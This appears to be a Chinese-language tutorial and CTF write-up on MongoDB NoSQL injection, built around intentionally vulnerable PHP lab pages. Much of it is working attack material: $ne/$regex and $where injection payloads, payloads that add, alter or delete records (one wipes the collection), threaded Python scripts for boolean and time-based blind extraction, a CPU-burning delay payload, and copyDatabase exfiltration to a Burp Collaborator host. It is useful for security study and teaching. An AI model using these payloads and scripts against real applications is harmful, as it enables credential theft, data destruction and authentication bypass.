MongoDB特性注入

阅读量307292

|

发布时间 : 2021-09-14 14:30:21

 

前言

MongoDB

MongoDB 属于 NoSQL 数据库的一种,是由C++语言编写的一个基于分布式文件存储的开源数据库系统,旨在为Web应用提供可扩展的高性能数据存储解决方案。在高负载的情况下,添加更多的节点,可以保证服务器性能。

MongoDB 将数据存储为一个文档,数据结构由键值(key=>value)对组成。MongoDB 文档类似于 JSON 对象。字段值可以包含其他文档,数组及文档数组。

MongDB 数据库一共两个端口

27017: MongDB的数据库端口

28017: MongDB的web管理接口

php5 的 MongoDB 扩展比 php7 的好用,测试最好用 php5 的 MongoDB 扩展,本文所有环境均在 php 5.5.9|MongoDB 2.0.4 下测试,windows系统,如有更换环境会提前注释说明。安装 MongDB 扩展在这,两版本操作对比如下

php5

(new MongoClient())->{$db}->{$collection}->findOne(['_id' => $id]);

php7

$mongo = new MongoDB\Driver\Manager();
$query = new MongoDB\Driver\Query(array(
    '_id'=>$id
));
$result = $mongo->executeQuery('db.collection', $query)->toArray();
// 返回的$result是一个对象,需要 toArray() 转换成数组。

 

基础概念

SQL 概念 MongoDB 概念 说明
database database 数据库
table collection 数据库表/集合
row document 数据记录行/文档
column field 数据字段/域
index index 索引
table joins 表连接,MongoDB 不支持
primary key primary key 主键,MongoDB 自动将 _id 字段设置为主键

 

基础语法

开启数据库

mongod -dbpath 绝对路径\data\db

连接数据库

mongo

显示所有数据库的列表

show dbs

使用/创建数据库

use test

删除数据库

db.dropDatabase()

创建集合

db.createCollection("users")
# 创建固定集合 history,整个集合空间大小 6142800 B, 文档最大个数为 10000 个
db.createCollection("history", { capped : true, autoIndexId : true, size : 6142800, max : 10000 } )
# 在 MongoDB 中,你不需要创建集合。当你插入一些文档时,MongoDB 会自动创建集合
db.users.insert({"username" : "admin", "password": "admin123"})

删除集合

db.users.drop()

插入文档

db.users.insert({
    username:"admin",
    password:"admin123"
})

更新文档

db.users.update({'password':'admin123'},{$set:{'password':'flag{Mo4g0_1nj3cti0n_g4m2!}'}})

save

db.users.save(
   <document>,
   {
     writeConcern: <document>
   }
)

删除文档

db.users.remove(
   <query>,
   {
     justOne: <boolean>,
     writeConcern: <document>
   }
)

格式化(使得输出更美观)

> db.users.find({username:'admin'}).pretty()
{
        "_id" : ObjectId("611102a8093f2b542d000029"),
        "userid" : 0,
        "username" : "admin",
        "password" : "flag{Mo4g0_1nj3cti0n_g4m2!}"
}

 

注入方式

首先初始化一个用户组,方便后续测试,运行或者访问皆可

<?php
$m = new mongoclient();
$db = $m->test;
$coll = $db->users;
$ch = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwsyz';
$data = array(
    'userid'=>0,
    'username'=>'admin',
    'password'=>'flag{Mo4g0_1nj3cti0n_g4m2!}'
);
$coll->insert($data);
for ($i=1; $i < 10; $i++) {
    $str = '';
    for ($j=1; $j < 10; $j++) {
        $str .= $ch[rand(0, strlen($ch)-1)];
    }
    $data = array(
        'userid'=>$i,
        'username'=>'user'.$i,
        'password'=>$str
    );
    $coll->insert($data);
}
echo 'Init finish!';
?>

find查找注入

#从当前数据库的集合user中查找id大于1文档
db.users.find({'id':{$gt:1}})

常用语法

$gt : > {“field”: {$gt: value}}
$lt : < {“field”: {$lt: value}}
$gte: >= {“field”: {$gte: value}}
$lte: <= {“field”: {$lte: value}}
$eq : = {“field”: {$eq: value}}
$ne : !=、<> {“member.age”: {$ne: “mine”}}
$exists 存在与否 {“couponsCode.0”: {$exists: 1}} #数组存在第一条数据
$in : in 包含 {“member.age”: {$in: [null], “$exists: true”}}
$or:or || 或者 {“$or”: [{“member.age”: “23”}, {“member.name”: “23333”}]}
$not: 反匹配(1.3.3及以上版本)
$and:and && 并且 {“$and”: [{“member.age”: “23”}, {“member.name”: “23333”}]}
$regex 正则匹配 ({“name”:{“$regex”:’^a$’}})
$size 元素个数 ({“name”:{“$size”:3}}) # $size name元素数为3

有回显数组注入

<?php
/*
 * @ mongo find echo injection
 */
ini_set("display_errors", "On");
error_reporting(E_ALL | E_STRICT);
highlight_file(__FILE__);
$mongo = new MongoClient();
$db = $mongo->test;
$coll = $db->users;
$username = $_GET['u'];
$password = $_GET['p'];
$data = array(
    'username'=>$username,
    'password'=>$password
);
xdebug_var_dump($data);
$data = $coll->find($data);
$count = $data->count();
if ($count>0) {
    foreach ($data as $user) {
        echo 'username:'.$user['username']."</br>";
        echo 'password:'.$user['password']."</p>";
    }
}
else{
    echo 'Cannot find users :(';
}
?>

结合 php 可以传递数组的性质,我们在不知道账号密码的情况下通过不等于带出

db.users.find({"username": {"$ne": "1"},"password": {"$ne": "1"}})

20210811124008456

也就是

?u[$ne]=1&p[$ne]=1

20210809173125177

如果为了匹配其中一条信息,则可以用 $regex 带出

> db.users.find({"username": {"$regex": "^a"},"password": {"$regex": ".*"}})
{ "_id" : ObjectId("610fac3edb8c2e7a7384e3e9"), "password" : "flag{Mo4g0_1nj3cti0n_g4m2!}", "username" : "admin" }

也就是

?u[$regex]=^a&p[$regex]=.*

20210809173435801

有回显拼接注入

<?php
/*
 * @ mongo find echo injection2
 */
ini_set("display_errors", "On");
error_reporting(E_ALL | E_STRICT);
highlight_file(__FILE__);
$username = $_GET['u'];
$password = $_GET['p'];
$query = "function(){var data = db.users.findOne({username:'$username',password:'$password'});return data;}";
$mongo = new mongoclient();
$db = $mongo->test;
xdebug_var_dump($query);
$data = $db->execute($query);
if ($data['ok'] == 1) {
    if ($data['retval']!=NULL) {
        echo 'username:'.$data['retval']['username']."</br>";
        echo 'password:'.$data['retval']['password']."</p>";
    }else{
        echo 'Cannot find users :(';
    }
}else{
    echo $data['errmsg'];
}
?>

这一次就无法进行数组注入了, 因为数组拼接后会只显示 Array 字眼, 需要拼接 function 内的语句进行注入

?u=&p='});var data=db.users.findOne({"username": {"$ne": "1"},"password": {"$ne": "1"}});return data;}//

自己窜写 data 变量,相当于重新赋值

function(){var data = db.users.findOne({username:'',password:''});var data=db.users.findOne({"username": {"$ne": "1"},"password": {"$ne": "1"}});return data;}
//'});return data;}

20210809174925018

也可以直接从 return 下手

u=&p='});return db.users.findOne({"username": {"$ne": "1"},"password": {"$ne": "1"}});}//

20210809175125073

好像是高版本不支持注释,那就尝试其它的payload

?u=&p='});var data=db.users.findOne({'username': {'$ne': '1'},'password': {'$ne': '1'}});var fuck=({'test':'1

?u=&p='});data=db.users.findOne({'username': {'$ne': '1'},'password': {'$ne': '1'}});var fuck=({'test':'1

覆盖值的时候多赋值一个变量

20210809175649121

这种情况下也可以理所当然的查值,爆版本集合,类似联合注入

?u='});return ({username:db.version(),password:tojson(db)});var fuck = ({'test':'&p=1

20210809180342050

?u='});return ({username:db.version(),password:tojson(db.getCollectionNames())});var fuck = ({'test':'&p=1

20210809180355537

?u='});return ({username:db.version(),password:tojson(db.users.find())});var fuck = ({'test':'&p=1

这样子会爆出类似 mongdb find() 函数的脚本

20210809180650674

那就一行行带出

?u='});return ({username:db.version(),password:tojson(db.users.find()[0])});var fuck = ({'test':'&p=1

20210809180700809

既然有这样的function可插入那么中间就可以进行多条语句执行

# 添加
?u='});db.users.insert({username:'hack',password:'hack'});return ({username:db.version(),password:tojson(db.users.find()[0])});var fuck = ({'test':'&p=1
# 删除
?u='});db.users.remove({username:'hack',password:'hack'});return ({username:db.version(),password:tojson(db.users.find()[0])});var fuck = ({'test':'&p=1
# 更新
?u='});db.users.update({username:'test'},{$set:{'password':'12345678'}});return ({username:db.version(),password:tojson(db.users.find()[0])});var fuck = ({'test':'&p=1
# 删库
?u='});db.users.remove({});return ({username:db.version(),password:tojson(db.users.find()[0])});var fuck = ({'test':'&p=1

可以这么做的原因我们可以跟进一下 execute 方法,会发现是直接执行一条数据库的命令。

20210811115529728

可能是太危险了… MongoDB 2.4 之后 db 属性就已经访问不到了,也就是我们不能再通过上述语句进行操作了。

find 布尔盲注

<?php
/*
 * @ mongo find bind injection
 */
ini_set("display_errors", "On");
error_reporting(E_ALL | E_STRICT);
highlight_file(__FILE__);
$username = $_GET['u'];
$password = $_GET['p'];
$query = "function(){var data = db.users.findOne({username:'$username',password:'$password'});return data;}";
$mongo = new mongoclient();
$db = $mongo->test;
xdebug_var_dump($query);
$data = $db->execute($query);
if ($data['ok'] == 1) {
    if ($data['retval']!=NULL) {
        if($data['retval']['username'] == 'admin') {
            echo 'welcome admin';
        }else{
            echo 'welcome user, you are not admin!';
        }
    }else{
        echo 'Cannot find users :(';
    }
}else{
    echo $data['errmsg'];
}
?>

也就是要是成功查询到了这一条一句就会给出正确回应,相反则是给出查无此用户的回应,我们可以通过伪造admin进行登录,在不知道密码的情况下

?u='});return ({username:'admin',password:''});var fuck = ({'test':'&p=1

20210809183813049

如果想要爆出集合和数据,得利用判断条件

?u='});if(db.version()[0]=='2'){return ({username:'admin',password:''})};var fuck = ({'test':'&p=1

通过是否登录为 admin 来判断字符是否正确

20210809212057215

然后就是写脚本注入,本人还是喜欢二分法,速度快,也就是 == 需要替换为 > 或者 <,但是跑的过程中总会有部分失误的地方,所以两种样式的脚本都会贴上

# -*-coding:utf-8-*-
import requests

# input url
url = "http://localhost/CTF/test89/find3.php"

def find_bind():
    flag = ''
    for i in range(1000):
        low = 32
        high = 128
        while low < high:
            mid = (low + high) >> 1
            payload = "'});if(db.version()" + f"[{i}]>'{chr(mid)}')" + "{return ({username:'admin',password:''})};var fuck = ({'test':'"
            payload = "'});if(tojson(db)" + f"[{i}]>'{chr(mid)}')" + "{return ({username:'admin',password:''})};var fuck = ({'test':'"
            payload = "'});if(tojson(db.getCollectionNames())" + f"[{i}]>'{chr(mid)}')" + "{return ({username:'admin',password:''})};var fuck = ({'test':'"
            payload = "'});if(tojson(db.users.find()[0])" + f"[{i}]>'{chr(mid)}')" + "{return ({username:'admin',password:''})};var fuck = ({'test':'"
            data = {
                'u': payload,
                'p': '1'
            }
            # print(data)
            res = requests.get(url=url, params=data)
            if "welcome admin" in res.text:
                low = mid + 1
            else:
                high = mid
        if low != 32:
            flag += chr(low)
            print(flag)
        # 有时候卡顿会直接 break 退出, 所以注释掉了
        # else:
        #     break

if __name__ == "__main__":
    find_bind()

== 注入比较慢,本文采用多线程

# -*- coding: utf-8 -*-
import threading
import requests
import random
import base64

user_agent = [
    "Mozilla/5.0 (Windows NT 6.0) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.36 Safari/536.5",
    "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1063.0 Safari/536.3",
    "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1063.0 Safari/536.3",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_0) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1063.0 Safari/536.3",
    "Mozilla/5.0 (Windows NT 6.2) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1062.0 Safari/536.3",
    "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1062.0 Safari/536.3",
    "Mozilla/5.0 (Windows NT 6.2) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1061.1 Safari/536.3",
    "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1061.1 Safari/536.3"
]

# threading sql injection
class SQL(threading.Thread):
    def __init__(self, func, args):
        threading.Thread.__init__(self)
        self.func = func
        self.args = args

    def getresult(self):
        return self.res

    def run(self):
        self.res = self.func(*self.args)

# bind sql injection
def bind_sql(a, i):
    lock = threading.Lock()
    lock.acquire()
    for mid in range(32, 128):
        o = a + i
        # payload = "'});if(db.version()" + f"[{o}]=='{chr(mid)}')" + "{return ({username:'admin',password:''})};var fuck = ({'test':'"
        # payload = "'});if(tojson(db)" + f"[{o}]=='{chr(mid)}')" + "{return ({username:'admin',password:''})};var fuck = ({'test':'"
        # payload = "'});if(tojson(db.getCollectionNames())" + f"[{o}]=='{chr(mid)}')" + "{return ({username:'admin',password:''})};var fuck = ({'test':'"
        payload = "'});if(tojson(db.users.find()[0])" + f"[{o}]=='{chr(mid)}')" + "{return ({username:'admin',password:''})};var fuck = ({'test':'"
        # print(payload)
        headers = {'User-agent': user_agent[random.randint(0, 7)]}
        data = {
            'u': payload,
            'p': '1'
        }
        # print(data)
        res = requests.get(url=url, params=data, headers=headers)
        # print(res.text)
        if "welcome admin" in res.text:
            return mid

    # 跑快了容易429导致下面if执行而断片, 不必要时可注释
    # if mid == 127:
    #     return 0
    # lock.release()

def main(thread):
    flag = ''
    # 从第一位开始
    a = 0
    f = True
    while f:
        threads = []
        for i in range(0, thread):
            t = SQL(bind_sql, (a, i))
            threads.append(t)
        for i in range(0, thread):
            threads[i].start()
        for i in range(0, thread):
            threads[i].join()
            ch = threads[i].getresult()
            # 以0结尾则停止注入
            if ch == 0:
                f = False
            try:
                flag = flag + chr(ch)
            except:
                pass

        a = a + thread
        print(flag)

if __name__ == '__main__':
    url = "http://localhost/CTF/test89/find3.php"
    # 一次输出几位
    thread = 5
    main(thread)

另一种盲注,也就是数组盲注

<?php
/*
 * @ mongo find bind injection2
 */
ini_set("display_errors", "On");
error_reporting(E_ALL | E_STRICT);
highlight_file(__FILE__);
$mongo = new MongoClient();
$db = $mongo->test;
$coll = $db->users;
$username = $_GET['u'];
$password = $_GET['p'];
$data = array(
    'username'=>$username,
    'password'=>$password
);
xdebug_var_dump($data);
$data = $coll->findOne($data);
if($data['username'] != null){
    if($data['username'] == 'admin'){
            echo 'welcome admin';
        }else{
            echo 'welcome user, you are not admin!';
    }
}
else{
    echo 'Cannot find users :(';
}
?>

通过数组正则读取信息

?u[$regex]=^a&p[$regex]=^flag.*$

然后写脚本爆破

# -*-coding:utf-8-*-
import requests
import string

# input url
url = "http://localhost/CTF/test89/find4.php"
dic = string.digits + string.ascii_lowercase + string.ascii_uppercase + ':{}-_!`'

def find_bind():
    flag = ''
    for i in range(1000):
        for mid in dic:
            guess = flag + mid
            payload = "^" + guess + ".*$"
            data = {
                'u[$regex]': '^a',
                'p[$regex]': payload
            }
            # print(data)
            res = requests.get(url=url, params=data)
            # print(res.text)
            if "welcome admin" in res.text:
                flag += mid
                print(flag)
                break
        # if mid == '`':
        #     break

if __name__ == "__main__":
    find_bind()

find 时间盲注

高版本下MongoDB添加了sleep()函数,我们利用这个sleep()函数和闭合的技巧来实现基于时间的盲注

<?php
/*
 * @ mongo find bind injection3
 */
ini_set("display_errors", "On");
error_reporting(E_ALL | E_STRICT);
highlight_file(__FILE__);
$username = $_GET['u'];
$password = $_GET['p'];
$query = "function(){var data = db.users.findOne({username:'$username',password:'$password'});return data;}";
$mongo = new mongoclient();
$db = $mongo->test;
xdebug_var_dump($query);
$data = $db->execute($query);
if ($data['ok'] == 1) {
    if ($data['retval']!=NULL) {
        return true;
    }else{
        return false;
    }
}else{
    echo $data['errmsg'];
}
?>

通过是否查询的到信息来决定是否延时

?u='});if(db.version()[0]=='2'){return sleep(1000);};var fuck = ({'test':'&p=1

20210810145638851

多线程还是容易乱,调到一线程就行

# -*- coding: utf-8 -*-
import threading
import requests
import random
import time

user_agent = [
    "Mozilla/5.0 (Windows NT 6.0) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.36 Safari/536.5",
    "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1063.0 Safari/536.3",
    "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1063.0 Safari/536.3",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_0) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1063.0 Safari/536.3",
    "Mozilla/5.0 (Windows NT 6.2) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1062.0 Safari/536.3",
    "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1062.0 Safari/536.3",
    "Mozilla/5.0 (Windows NT 6.2) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1061.1 Safari/536.3",
    "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1061.1 Safari/536.3"
]

# threading sql injection
class SQL(threading.Thread):
    def __init__(self, func, args):
        threading.Thread.__init__(self)
        self.func = func
        self.args = args

    def getresult(self):
        return self.res

    def run(self):
        self.res = self.func(*self.args)

# bind sql injection
def bind_sql(a, i):
    lock = threading.Lock()
    lock.acquire()
    for mid in range(32, 128):
        o = a + i
        # payload = "'});if(db.version()" + f"[{o}]=='{chr(mid)}')" + "{return sleep(1000)};var fuck = ({'test':'"
        # payload = "'});if(tojson(db)" + f"[{o}]=='{chr(mid)}')" + "{return sleep(1000)};var fuck = ({'test':'"
        # payload = "'});if(tojson(db.getCollectionNames())" + f"[{o}]=='{chr(mid)}')" + "{return sleep(1000)};var fuck = ({'test':'"
        payload = "'});if(tojson(db.users.find()[0])" + f"[{o}]=='{chr(mid)}')" + "{return sleep(1000)};var fuck = ({'test':'"
        # print(payload)
        headers = {'User-agent': user_agent[random.randint(0, 7)]}
        data = {
            'u': payload,
            'p': '1'
        }
        before_time = time.time()
        # print(data)
        res = requests.get(url=url, params=data, headers=headers)
        after_time = time.time()
        offset = after_time - before_time
        # print(res.text)
        if offset > 1:
            return mid

    # 跑快了容易429导致下面if执行而断片, 不必要时可注释
    # if mid == 127:
    #     return 0
    lock.release()

def main(thread):
    flag = ''
    # 从第一位开始
    a = 0
    f = True
    while f:
        threads = []
        for i in range(0, thread):
            t = SQL(bind_sql, (a, i))
            threads.append(t)
        for i in range(0, thread):
            threads[i].start()
        for i in range(0, thread):
            threads[i].join()
            ch = threads[i].getresult()
            # 以0结尾则停止注入
            if ch == 0:
                f = False
            try:
                flag = flag + chr(ch)
            except:
                pass

        a = a + thread
        print(flag)

if __name__ == '__main__':
    url = "http://localhost/CTF/test89/find5.php"
    # 一次输出几位
    thread = 1
    main(thread)

如果 sleep 无法使用的话,可以使用类似 DOS 攻击的延时操作

?u='});if(db.version()[0]=='2'){return (function(){var date = new Date(); do{curDate = new Date();}while(curDate-date<1000); return Math.max();})();};var fuck = ({'test':'&p=1

DOS 攻击payload是属于叠加的,所以提高线程很容易一下就崩了, 而且单线程还要延时跑

# -*-coding:utf-8-*-
import requests
import time

# input url
url = "http://localhost/CTF/test89/find5.php"

def find_bind():
    flag = ''
    for i in range(1000):
        for mid in range(32, 128):
            # payload = "'});if(db.version()" + f"[{i}]=='{chr(mid)}')" + "{return (function(){var date = new Date(); do{curDate = new Date();}while(curDate-date<1000); return Math.max();})();};var fuck = ({'test':'"
            # payload = "'});if(tojson(db)" + f"[{i}]=='{chr(mid)}')" + "{return (function(){var date = new Date(); do{curDate = new Date();}while(curDate-date<1000); return Math.max();})();};var fuck = ({'test':'"
            # payload = "'});if(tojson(db.getCollectionNames())" + f"[{i}]=='{chr(mid)}')" + "{return (function(){var date = new Date(); do{curDate = new Date();}while(curDate-date<1000); return Math.max();})();};var fuck = ({'test':'"
            payload = "'});if(tojson(db.users.find()[0])" + f"[{i}]=='{chr(mid)}')" + "{return (function(){var date = new Date(); do{curDate = new Date();}while(curDate-date<1000); return Math.max();})();};var fuck = ({'test':"
            # print(payload)
            data = {
                'u': payload,
                'p': '1'
            }
            # print(data)
            before_time = time.time()
            res = requests.get(url=url, params=data)
            after_time = time.time()
            offset = after_time - before_time
            # print(offset)
            time.sleep(1)
            if offset > 1:
                flag += chr(mid)
                print(flag)
                break
        # if mid == 127:
        #     break

if __name__ == "__main__":
    find_bind()

然后另一种以数组方式注入就无法实现实现时间盲注

> db.users.find({'username': {'$regex': '^a'}, 'password': {'$where': 'function(){sleep(1000);}'}})
error: { "$err" : "invalid operator: $where", "code" : 10068 }

copyDatabase+findOne 外带注入

(Burp > Burp Collaborator client > Copy to clipboard)

db.copyDatabase('test','users',db.version()+'.5agd99kvce0rog1bz0pm23v16sci07.burpcollaborator.net')

db.copyDatabase('test','users',tojson(db)+'.5agd99kvce0rog1bz0pm23v16sci07.burpcollaborator.net')

后面的有特殊字符就不好发,采用 javascript正则替换特殊字符为空

db.copyDatabase('test','users',tojson(db.getCollectionNames()).replace(/[^0-9a-zA-Z]/gm, "")+'.e1g483buvimfd8qd7j2jltydj4pvdk.burpcollaborator.net')

db.copyDatabase('test','users',tojson(db.users.findOne({},{_id:0})).replace(/[^0-9a-zA-Z]/gm, "")+'.e1g483buvimfd8qd7j2jltydj4pvdk.burpcollaborator.net')

20210810163002933

但是直接嵌入 payload 中会发现有这个问题

Assertion: 10298:can't temprelease nested write lock

mongdb 把嵌套写入的方式锁住了,所以一般不在数据库中执行可能几乎用不上。

where条件注入

使用$where运算符可以将包含JavaScript表达式的字符串或完整的JavaScript函数传递给MongoDB来执行

有回显拼接注入

<?php
/*
 * @ mongo where injection
 */
ini_set("display_errors", "On");
error_reporting(E_ALL | E_STRICT);
highlight_file(__FILE__);
$mongo = new mongoclient();
$db = $mongo->test;
$coll = $db->users;
$username = $_GET['u'];
$password = $_GET['p'];
$query = array('$where'=>"function() {if(this.username == '$username' && this.password == '$password') {return true;}}");
xdebug_var_dump($query);
$result = $coll->find($query);
if ($result->count() > 0) {
    foreach ($result as $user) {
        echo 'username: '.$user['username']."<br />";
        echo 'password: '.$user['password']."</p>";
    }
}
else{
    echo 'Cannot find users :(';
}

我们只需要在function中拼接我们需要的语句再返回就行了

?u='||1){return true;}}//&p=1

这样可以带出该集合下的所有用户

20210810164811946

where 布尔盲注

然后可以制定特定的 payload 盲注据库名和集合

?u='||db.version()[0]=='2'){return true;}else{return false;}if('&p=1

根据正确返回和错误返回的特征进行判断,正确返回用户

20210810170554273

错误返回未找到此用户

20210810170610825

== 用多线程跑

# -*- coding: utf-8 -*-
import threading
import requests
import random
import base64

user_agent = [
    "Mozilla/5.0 (Windows NT 6.0) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.36 Safari/536.5",
    "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1063.0 Safari/536.3",
    "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1063.0 Safari/536.3",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_0) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1063.0 Safari/536.3",
    "Mozilla/5.0 (Windows NT 6.2) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1062.0 Safari/536.3",
    "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1062.0 Safari/536.3",
    "Mozilla/5.0 (Windows NT 6.2) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1061.1 Safari/536.3",
    "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1061.1 Safari/536.3"
]

# threading sql injection
class SQL(threading.Thread):
    def __init__(self, func, args):
        threading.Thread.__init__(self)
        self.func = func
        self.args = args

    def getresult(self):
        return self.res

    def run(self):
        self.res = self.func(*self.args)

# bind sql injection
def bind_sql(a, i):
    lock = threading.Lock()
    lock.acquire()
    for mid in range(32, 128):
        o = a + i
        # payload = "'||db.version()" + f"[{o}]=='{chr(mid)}')" + "{return true;}else{return false;}if('"
        # payload = "'||tojson(db)" + f"[{o}]=='{chr(mid)}')" + "{return true;}else{return false;}if('"
        # payload = "'||tojson(db.getCollectionNames())" + f"[{o}]=='{chr(mid)}')" + "{return true;}else{return false;}if('"
        payload = "'||tojson(db.users.find()[0])" + f"[{o}]=='{chr(mid)}')" + "{return true;}else{return false;}if('"
        # print(payload)
        headers = {'User-agent': user_agent[random.randint(0, 7)]}
        data = {
            'u': payload,
            'p': ''
        }
        # print(data)
        res = requests.get(url=url, params=data, headers=headers)
        # print(res.text)
        if "user1" in res.text:
            return mid

    # 跑快了容易429导致下面if执行而断片, 不必要时可注释
    # if mid == 127:
    #     return 0
    # lock.release()

def main(thread):
    flag = ''
    # 从第一位开始
    a = 0
    f = True
    while f:
        threads = []
        for i in range(0, thread):
            t = SQL(bind_sql, (a, i))
            threads.append(t)
        for i in range(0, thread):
            threads[i].start()
        for i in range(0, thread):
            threads[i].join()
            ch = threads[i].getresult()
            # 以0结尾则停止注入
            if ch == 0:
                f = False
            try:
                flag = flag + chr(ch)
            except:
                pass

        a = a + thread
        print(flag)

if __name__ == '__main__':
    url = "http://localhost/CTF/test89/where1.php"
    # 一次输出几位
    thread = 5
    main(thread)

where 时间盲注

拿一道真实的例题来讲

<?php
/*
 * @ mongo where bind injection
 */
ini_set("display_errors", "On");
error_reporting(E_ALL | E_STRICT);
highlight_file(__FILE__);
$username = filter_var($_GET['u']);
if (preg_match("/(eval|sleep|this|and|or)/i", $username) == 1){
    die('Hacker :(');
}
$mongo = new mongoclient();
$db = $mongo->test;
$coll = $db->user;
$query = array('$where' => "if(this.username == '$username') {return true;}");
xdebug_var_dump($query);
$data = $coll->find($query);
$data->count();

很明显 $where 存在拼接注入, 如果能用 sleep 那么 payload 将会是这样的

?u='||db.version()[0]=='1'){return true;}else{sleep(1000);}if('

不能使用的话就是用 DOS payload

?u='||db.version()[0]=='1'){return true;}else{(function(){var date = new Date(); do{curDate = new Date();}while(curDate-date<1000); return Math.max();})()}if('

在响应中我们可以看到延时是否成功

[conn1] query test.users query: { $where: "if(this.username == ''||db.version()[0]=='1'){return true;}else{(function(){var date = new Date(); do{curDate = new Date();}while(curDate-date<1000); ..." } nscanned:10 reslen:20 9999ms

 

[CyBRICS-CTF-Quals-2019]NopeSQL

题目链接

上来扫到有 .git 泄露,用 GitHack 提取,提取到了 index.php 的源码,重点部分如下

function auth($username, $password) {
    $collection = (new MongoDB\Client('mongodb://localhost:27017/'))->test->users;
    $raw_query = '{"username": "'.$username.'", "password": "'.$password.'"}';
    $document = $collection->findOne(json_decode($raw_query));
    if (isset($document) && isset($document->password)) {
        return true;
    }
    return false;
}
if (isset($_COOKIE['username']) && isset($_COOKIE['password'])) {
    $user = auth($_COOKIE['username'], $_COOKIE['password']);
}

if (isset($_POST['username']) && isset($_POST['password'])) {
    $user = auth($_POST['username'], $_POST['password']);
    if ($user) {
        setcookie('username', $_POST['username']);
        setcookie('password', $_POST['password']);
    }
}

通过 POST 传参会自动设置为 Cookie 然后在 $raw_query 可以直接进行 Nosql 的拼接注入,无过滤,那我们需要达到的效果如下

{"username":{"$regex":"^a"},"password":{"$ne":"1"}}

匹配 admin 用户但是密码不等于1,这样就能准确的匹配到 admin 账号,POST传参如下

username[$regex]=^a&password[$ne]=1

但是本地测试后发现是 json_decode 搞得鬼,不能传数组过去,但是想到json传参有个二次赋值

username=1&password=","password":{"$ne":"1"},"username":{"$regex":"^a"},"$where":"1

这样拼接进去

{"username":"1","password":{"$ne":"1"},"username":{"$regex":"^a"},"$where":"1"}

username 相当于二次赋值,用正则去匹配,$where 则是达成一个永恒的正确条件,前提是前面查询不出错

进来以后接着往下看其他功能

    <?php
        $filter = $_GET['filter'];

        $collection = (new MongoDB\Client('mongodb://localhost:27017/'))->test->news;

        $pipeline = [
            ['$group' => ['_id' => '$category', 'count' => ['$sum' => 1]]],
            ['$sort' => ['count' => -1]],
            ['$limit' => 5],
        ];

        $filters = [
            ['$project' => ['category' => $filter]]
        ];

        $cursor = $collection->aggregate(array_merge($filters, $pipeline));
    ?>

聚合(aggregate)是基于数据处理的聚合管道,每个文档通过一个由多个阶段(stage)组成的管道,可以对每个阶段的管道进行分组、过滤等功能,然后经过一系列的处理,输出相应的结果

注: mongodb 2.0.4 shell 没有这个功能,所以以下步骤采用了 mongodb 4.2.15 shell

与 SQL 相比如下

SQL 操作/函数 mongodb聚合操作
where $match
group by $group
having $match
select $project
order by $sort
limit $limit
sum() $sum
count() $sum
join $lookup (v3.2 新增)

可以在aggregate()方法上使用的聚合运算符

运算符 说明
$project 通过重命名,添加或删除字段重塑文档。你也可以重新计算值,并添加子文档。例如,此例子包括title并排除name:{$project:{title:1,name:0}};该例是把name重命名为title的例子:{$project{title:”$name”}};这个例子是添加一个新的total字段,并用price和tax字段计算它的值的例子:{$project{total:{$add:[“$price”,”$tax”]}}}
$match 通过使用query对象运算符来过滤文档集
$limit 限定可以传递到聚合操作的下一个管道中的文档数量。例如{$limit:5}
$skip 指定处理聚合操作的下一个管道前跳过的一些文档
$unwind 指定一个数组字段用于分割,对每个值创建一个单独的文档。例如{$unwind:”$myArr”}
$group 把文档分成一组新的文档用于在管道中的下一级。新对象的字段必须在$group对象中定义。你还可以把表2中列出的分组表达式运算符应用到该组的多个文档中。例如,使用下面的语句汇总value字段:{$group:{set_id:”$0_id”,total:{$sum:”$value”}}}
$sort 在把文档传递给处理聚合操作的下一个管道前对它们排序。排序指定一个带有field:<sort_order>属性的对象,其中<sort_order>

聚合 $group 表达式运算符

运算符 说明
$addToSet 返回一组文档中所有文档所选字段的全部唯一值的数组。例如:colors:{$addToSet:”color”}
$first 返回一组文档中一个字段的第一个值。例如:firstValue:{$first:”$value”}
$last 返回一组文档中一个字段的最后一个值。例如:lastValue:{$last:”$value”}
$max 返回一组文档中一个字段的最大值。例如:maxValue:{$max:”$value”}
$min 返回一组文档中一个字段的最小值。例如:minValue:{$min:”$value”}
$avg 返回一组文档中以个字段的平均值。例如:avgValue:{$avg:”$value”}
